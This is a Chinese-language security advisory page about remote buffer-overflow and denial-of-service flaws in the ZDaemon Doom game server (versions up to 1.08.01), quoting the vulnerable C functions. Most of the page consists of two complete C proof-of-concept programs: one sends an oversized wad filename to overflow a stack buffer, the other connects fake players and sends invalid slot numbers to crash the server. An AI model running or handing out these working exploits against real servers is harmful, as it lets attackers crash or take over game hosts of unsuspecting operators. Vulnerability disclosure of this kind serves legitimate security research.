安全研究

安全漏洞
ZDaemon远程溢出和拒绝服务漏洞

发布日期:2006-03-31
更新日期:2006-03-31

受影响系统:
Zdaemon Zdaemon <= 1.08.01
描述:
BUGTRAQ  ID: 17340

Zdaemon是Internet上最流行的Doom引擎。

Zdaemon中存在多个远程漏洞,具体如下:

--------------------------------------
A] is_client_wad_ok缓冲区溢出
--------------------------------------

当客户端加入比赛时,服务器会检查客户端的wad文件(地图)与服务器上的是否一致。因此客户端发送服务器上所使用的每个wad的名称,然后是文件的本地md5哈希;服务器接收到文件名并使用strcpy()将其拷贝到256字节的缓冲区。

my_strupr函数会转换所有大写的字符,但可以使用超长文件名覆盖返回地址,造成缓冲区溢出。

如果服务器受到密码保护的话,则攻击者必须知道正确的关键字;IP禁用无法防范这种攻击,因为防护是之后的检查,因此攻击者可以在禁用的服务器上利用这个漏洞。

以下代码源于server/src/w_wad.cpp(X-Doom/Zdaemon 1.06):

char *wad_check::is_client_wad_ok(const char *fname,const byte *csum)
{
    int            i;
    char        temp[256];
    static char    errmsg[512];

    strcpy(temp,plain_filename(fname));
    my_strupr(temp);
    if ( (i=find(fname)) < 0 )
    {
        sprintf(errmsg,"\nYou should not load \"%s\" on this server.\nGet rid of it!\n",temp);
        return errmsg;
    }
    ...


------------------------------------------------------------
B] ZD_MissingPlayer,ZD_UseItem和ZD_LoadNewClientLevel/ZD_ValidClient中的无效内存访问
------------------------------------------------------------

Zdaemon支持多种游戏命令。ZD_MissingPlayer、ZD_UseItem和ZD_ValidClient函数(可通过ZD_LoadNewClientLevel利用)从用于选择特定玩家插槽(slot)或装备(item)的客户端读取8位数字然后执行操作。服务器使用16个插槽(MAXPLAYERS)和少于40个装备(NUMARTIFACTS),因此如果攻击者使用无效的数字的话服务器就会在试图访问无效内存区域后立即崩溃。这是个游戏中的BUG,因此攻击者必须拥有访问服务器所有的条件(正确的wad md5哈希、口令等)才能利用这个漏洞。

以下代码源于server/src/sv_main.cpp(X-Doom/Zdaemon 1.06):

void ZD_MissingPlayer(void)
{
    int    pnum = ZD_ReadByte();        // the player that our client is missing
    int cl = parse_cl;
    player_t*    player = &players[pnum];

    if (!playeringame[pnum])
    {
        Printf("ZD_MissingPlayer: BIG PROBLEM!!\n");
        return;
    }
    ZDOP.Init();
    if (player->isbot)
    ...

void ZD_UseItem(void)
{
    int which = ZD_ReadByte();
    int    i;

    // None left!
    if (players[parse_cl].inventory[which] <= 0)
    ...

static void ZD_LoadNewClientLevel(char *levelname, int i)
{
    player_s    *pli;

    if (!ZD_ValidClient(i))    return;
    ...

bool ZD_ValidClient(int i)
{
    return (playeringame[i] && !players[i].isbot);
}

<*来源:Luigi Auriemma (aluigi@pivx.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114383589401446&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

A] is_client_wad_ok缓冲区溢出

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "zd_huffman.c"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/param.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define stristr strcasestr
    #define ONESEC  1
#endif



#define VER                 "0.1"
#define PORT                10666
#define BUFFSZ              8192
#define BOFSZ               300

#define PUT16(x,y)          *(u_short *)x = y; \
                            x += 2;
#define PUT32(x,y)          *(u_int *)x = y; \
                            x += 4;

#define LAUNCHER_CHALLENGE  777123
#define VERSION             108
#define MAX_UDP_PACKET      1400
#define    CONNECT_CHALLENGE   200
#define NETWORK_ERROR       254



int addwad(u_char *data, u_char *wad, u_char *crc);
u_char **info_proto(u_char *data, int len, int *ver, int *wads);
void delimit(u_char *data);
int mycpy(u_char *dst, u_char *src);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;



int main(int argc, char *argv[]) {
    u_int   seed;
    int     sd,
            i,
            len,
            wads = 0,
            ver  = VERSION;
    u_short port = PORT;
    u_char  buff[BUFFSZ],
            password[128],
            bof[BUFFSZ],
            huffbuff[BUFFSZ],
            **wad,
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Zdaemon <= 1.08.01 buffer-overflow in is_client_wad_ok " VER "\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port    = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    seed      = time(NULL);
    *password = 0;

    printf("- query server:\n");

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    p = buff;
    PUT32(p, LAUNCHER_CHALLENGE);
    len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);

    close(sd);
    wad = info_proto(buff, len, &ver, &wads);

    HuffInit();

redo:
    printf("- start connection:\n");

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    p = buff;
    *p++ = 0xff;                            // no compression
    *p++ = CONNECT_CHALLENGE;               // cmd
    *p++ = ver;                             // version
    *p++ = seed;                            // level
    p   += mycpy(p, password);              // password
    *p++ = 2;                               // number of wads
    memset(bof, 'a', BOFSZ);
    bof[BOFSZ] = 0;                         // wad bof
    p   += addwad(p, bof, "f3a242bf226eb10c28b8c7fccb18c88f");

    len = p - buff;                         // check length if major than max
    if(len > (MAX_UDP_PACKET + 32)) len = MAX_UDP_PACKET + 32;

    len = send_recv(sd, buff, len, buff, sizeof(buff), 0);
    close(sd);
    if(len < 0) goto quit;

    HuffDecode(buff, huffbuff, len, &len);  // decompression

    if(huffbuff[0] == NETWORK_ERROR) {
        p = huffbuff + 1;
        goto error;
    }
    if(huffbuff[5] == NETWORK_ERROR) {
        p = huffbuff + 6;
        goto error;
    }

error:
    if(stristr(p, "password")) {
        printf("\n- server is protected with password, insert the keyword:\n  ");
        fgets(password, sizeof(password), stdin);
        delimit(password);
        goto redo;

    } else {
        printf("\n"
            "Error: client has not been accepted:\n"
            "       %s\n",
            p);
        exit(1);
    }

quit:
    printf("- wait some seconds\n");
    for(i = 3; i; i--) {
        printf("%d\r", i);
        sleep(ONESEC);
    }

    printf("- check server:\n");

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    p = buff;
    PUT32(p, LAUNCHER_CHALLENGE);
    if(send_recv(sd, buff, p - buff, buff, sizeof(buff), 0) < 0) {
        printf("\n  Server IS vulnerable!!!\n\n");
    } else {
        printf("\n  Server does not seem vulnerable\n\n");
    }

    close(sd);

    for(i = 0; i < wads; i++) free(wad[i]); // free everything
    free(wad);

    return(0);
}



int addwad(u_char *data, u_char *wad, u_char *crc) {
    int     i,
            tmp;
    u_char  *p;

    p = data;
    p += mycpy(p, wad);

    for(i = 0; i < 16; i++) {
        sscanf(crc, "%02x", &tmp);
        crc += 2;
        *p++ = tmp;
    }
    return(p - data);
}



u_char **info_proto(u_char *data, int len, int *ver, int *wads) {
    int     i,
            num;
    u_char  *limit,
            **wad;

    limit = data + len;
    printf("  Master ch  %d\n", *(u_int *)data);            data += 4;
    printf("  Hostname   %s\n", data);                      data += strlen(data) + 1;
    printf("  Players    %hhu/%hhu\n", data[0], data[1]);   data += 2;
    printf("  Mapname    %s\n", data);                      data += strlen(data) + 1;
    num = *data++;
    *wads = num + 1;
    wad = malloc(*wads * sizeof(char *));                   // +1 for Iwad too
    if(num) {
        printf("  Wads:\n");
        for(i = 0; i < num; i++) {
            wad[i] = strdup(data);
            printf("    %s ", data);                        data += strlen(data) + 1;
        }
        printf("\n");
    }
    printf("  Gametype   %hhu\n", *data++);
    printf("  Gamename   %s\n", data);                      data += strlen(data) + 1;
    wad[*wads - 1] = strdup(data);
    printf("  IWad       %s\n", data);                      data += strlen(data) + 1;
    printf("  Gameskill  %hhu\n", *data++);
    printf("  File path  %s\n", data);                      data += strlen(data) + 1;
    printf("  E-mail     %s\n", data);                      data += strlen(data) + 1;
    printf("  DMFlags    %u\n", *(u_int *)data);            data += 4;
    printf("  DMFlags2   %u\n", *(u_int *)data);            data += 4;
    num = *data++;
    if(num) {
        printf("  Players:\n");
        for(i = 0; i < num; i++) {
            printf("    %s ", data);                        data += strlen(data) + 1;
            printf("  %hu ", *(u_short *)data);             data += 2;
            printf("  %hu", *(u_short *)data);              data += 2;
            printf("  %hhu", *data++);
            printf("  %hu", *(u_short *)data);              data += 2;
            printf("\n");
        }
    }

    *ver = *(u_short *)data;                                data += 2;
    printf("  Version    %hu\n", *ver);
//    printf("  Ext info   %u\n", *(u_int *)data);          data += 4;
    data += 4;
    printf("  Password   %hhu\n", *data++);

    // come on, it's enough
    // that's all we need

    return(wad);
}



void delimit(u_char *data) {
    while(*data && (*data != '\n') && (*data != '\r')) data++;
    *data = 0;
}



int mycpy(u_char *dst, u_char *src) {
    u_char  *p;

    for(p = dst; *src; src++, p++) {
        *p = *src;
    }
    *p++ = 0;
    return(p - dst);
}



int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
    int     retry,
            len;

    if(in) {
        for(retry = 3; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
              < 0) std_err();
            if(!timeout(sd, 1)) break;
        }

        if(!retry) {
            if(!err) return(-1);
            fputs("\nError: socket timeout, no reply received\n\n", stdout);
            exit(1);
        }
    } else {
        if(timeout(sd, 3) < 0) return(-1);
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);
}



int timeout(int sock, int sec) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = sec;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

B] ZD_MissingPlayer,ZD_UseItem和ZD_LoadNewClientLevel/ZD_ValidClient中的无效内存访问

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "wad_md5.h"
#include "zd_huffman.c"
#include "zdaemon.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/param.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define stristr strcasestr
    #define stricmp strcasecmp
    #define ONESEC  1
#endif



#define VER             "0.1.1"
#define PORT            10666
#define BUFFSZ          8192
#define TWAIT           3
#define VERSION         108

#define PUT16(x,y)      *(u_short *)x = y; \
                        x += 2;
#define PUT32(x,y)      *(u_int *)x = y; \
                        x += 4;



int addwad(u_char *data, u_char *wad, u_char *md5);
u_char **info_proto(u_char *data, int len, int *ver, int *wads);
void delimit(u_char *data);
int mycpy(u_char *dst, u_char *src);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;



int main(int argc, char *argv[]) {
    struct  sockaddr_in peerl;
    u_int   seed;
    int     sd,
            i,
            len,
            wads = 0,
            ver  = VERSION;
    u_short port = PORT;
    u_char  buff[BUFFSZ],
            huffbuff[BUFFSZ],
            password[128],
            **wad,
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Zdaemon Fake Players DoS " VER "\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port    = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    peerl.sin_addr.s_addr = INADDR_ANY;
    peerl.sin_port        = htons(time(NULL));
    peerl.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    seed      = time(NULL);
    *password = 0;

    printf("- query server:\n");

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    p = buff;
    PUT32(p, LAUNCHER_CHALLENGE);
    len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);

    close(sd);
    wad = info_proto(buff, len, &ver, &wads);

    HuffInit();

    printf("\n- start attack:");
    for(;;) {
        for(;;) {
            fputs("\n  Player: ", stdout);

            sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
            if(sd < 0) std_err();
            do {
                peerl.sin_port++;
            } while(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl)) < 0);

            p = buff;
            *p++ = 0xff;                            // no compression
            *p++ = CONNECT_CHALLENGE;               // cmd
            *p++ = ver;                             // version
            *p++ = seed++;                          // level
            p   += mycpy(p, password);              // password

            *p++ = 1 + wads;                        // number of wads
            p   += addwad(p, "ZDAEMON.WAD", NULL);
            for(i = 0; i < wads; i++) {
                p += addwad(p, wad[i],      NULL);
            }

            len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
            HuffDecode(buff, huffbuff, len, &len);  // decompression

            if(huffbuff[0] == NETWORK_ERROR) {
                p = huffbuff + 1;
                goto error;
            }
            if(huffbuff[5] == NETWORK_ERROR) {
                p = huffbuff + 6;
                goto error;
            }

            len = send_recv(sd, NULL, 0, buff, sizeof(buff), 0);

            if(len < 0) {
                printf(" socket timeout\n");
                goto nextplayer;
            }

            HuffDecode(buff, huffbuff, len, &len);  // decompression

            if((huffbuff[5] == NETWORK_ERROR) || (huffbuff[5] == sv_kick)) {
                p = huffbuff + 6;
                goto error;
            }
        for(i = 0; i < 256; i++) {
            p = buff;
            *p++ = 0xff;
            *p++ = cl_missingplayer;    // cl_useitem   cl_wantnewlevel
            *p++ = i;
            len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
            if(len < 0) break;
        }
        if((len < 0) && (i < 256)) {
            printf("\n  Server IS vulnerable!!!\n\n");
        } else {
            printf("\n  Server doesn't seem vulnerable\n\n");
        }
        close(sd);
        return(0);
        
nextplayer:
            close(sd);
            continue;
error:
            close(sd);

            if(stristr(p, "full")) {
                break;

            } else if(stristr(p, "password")) {
                printf("\n- server is protected with password, insert the keyword:\n  ");
                fgets(password, sizeof(password), stdin);
                delimit(password);
                continue;

            } else if(stristr(p, "banned")) {
                printf("\n"
                    "Error: your IP is banned on this server:\n"
                    "       %s\n",
                    p);
                exit(1);

            } else {
                printf("\n"
                    "Error: client has not been accepted:\n"
                    "       %s\n",
                    p);
                exit(1);
            }
        }

        fputs(" server full", stdout);
        for(i = TWAIT; i; i--) {
            printf("%3d\b\b\b", i);
            sleep(ONESEC);
        }
    }

    for(i = 0; i < wads; i++) free(wad[i]); // free everything
    free(wad);

    return(0);
}



int addwad(u_char *data, u_char *wad, u_char *md5) {
    int     i,
            tmp;
    u_char  *p;

    p = data;

    if(!md5) {
        for(i = 0; wad_md5[i][0]; i++)  {
            if(!stricmp(wad, wad_md5[i][0])) {
                md5 = wad_md5[i][1];
                break;
            }
        }
        if(!md5) {
            printf("\n- %s not found in the MD5 database", wad);
            md5 = wad_md5[0][1];
        }
    }

    p += mycpy(p, wad);

    for(i = 0; i < 16; i++) {
        sscanf(md5, "%02x", &tmp);
        md5 += 2;
        *p++ = tmp;
    }

    return(p - data);
}



u_char **info_proto(u_char *data, int len, int *ver, int *wads) {
    int     i,
            num;
    u_char  *limit,
            **wad;

    limit = data + len;
    printf("\n");
    printf("  Master ch  %d\n", *(u_int *)data);            data += 4;
    printf("  Hostname   %s\n", data);                      data += strlen(data) + 1;
    printf("  Players    %hhu/%hhu\n", data[0], data[1]);   data += 2;
    printf("  Mapname    %s\n", data);                      data += strlen(data) + 1;
    num = *data++;
    *wads = num + 1;
    wad = malloc(*wads * sizeof(char *));                   // +1 for Iwad too
    if(num) {
        printf("  Wads:\n");
        for(i = 0; i < num; i++) {
            wad[i] = strdup(data);
            printf("    %s ", data);                        data += strlen(data) + 1;
        }
        printf("\n");
    }
    printf("  Gametype   %hhu\n", *data++);
    printf("  Gamename   %s\n", data);                      data += strlen(data) + 1;
    wad[*wads - 1] = strdup(data);
    printf("  IWad       %s\n", data);                      data += strlen(data) + 1;
    printf("  Gameskill  %hhu\n", *data++);
    printf("  File path  %s\n", data);                      data += strlen(data) + 1;
    printf("  E-mail     %s\n", data);                      data += strlen(data) + 1;
    printf("  DMFlags    %u\n", *(u_int *)data);            data += 4;
    printf("  DMFlags2   %u\n", *(u_int *)data);            data += 4;
    num = *data++;
    if(num) {
        printf("  Players:\n");
        for(i = 0; i < num; i++) {
            printf("    %s ", data);                        data += strlen(data) + 1;
            printf("  %hu ", *(u_short *)data);             data += 2;
            printf("  %hu", *(u_short *)data);              data += 2;
            printf("  %hhu", *data++);
            printf("  %hu", *(u_short *)data);              data += 2;
            printf("\n");
        }
    }

    *ver = *(u_short *)data;                                 data += 2;
    printf("  Version    %hu\n", *ver);
//    printf("  Ext info   %u\n", *(u_int *)data);           data += 4;
    data += 4;
    printf("  Password   %hhu\n", *data++);

    // come on, it's enough
    // that's all we need

    return(wad);
}



void delimit(u_char *data) {
    while(*data && (*data != '\n') && (*data != '\r')) data++;
    *data = 0;
}



int mycpy(u_char *dst, u_char *src) {
    u_char  *p;

    for(p = dst; *src; src++, p++) {
        *p = *src;
    }
    *p++ = 0;
    return(p - dst);
}



int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
    int     retry,
            len;

    if(in) {
        for(retry = 3; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
              < 0) std_err();
            fputc('.', stdout);
            if(!timeout(sd, 2)) break;
        }

        if(!retry) {
            if(!err) return(-1);
            fputs("\nError: socket timeout, no reply received\n\n", stdout);
            exit(1);
        }
    } else {
        if(timeout(sd, 3) < 0) return(-1);
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    fputc('.', stdout);
    return(len);
}



int timeout(int sock, int sec) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = sec;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

建议:
厂商补丁:

Zdaemon
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.zdaemon.org/

浏览次数:3945
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障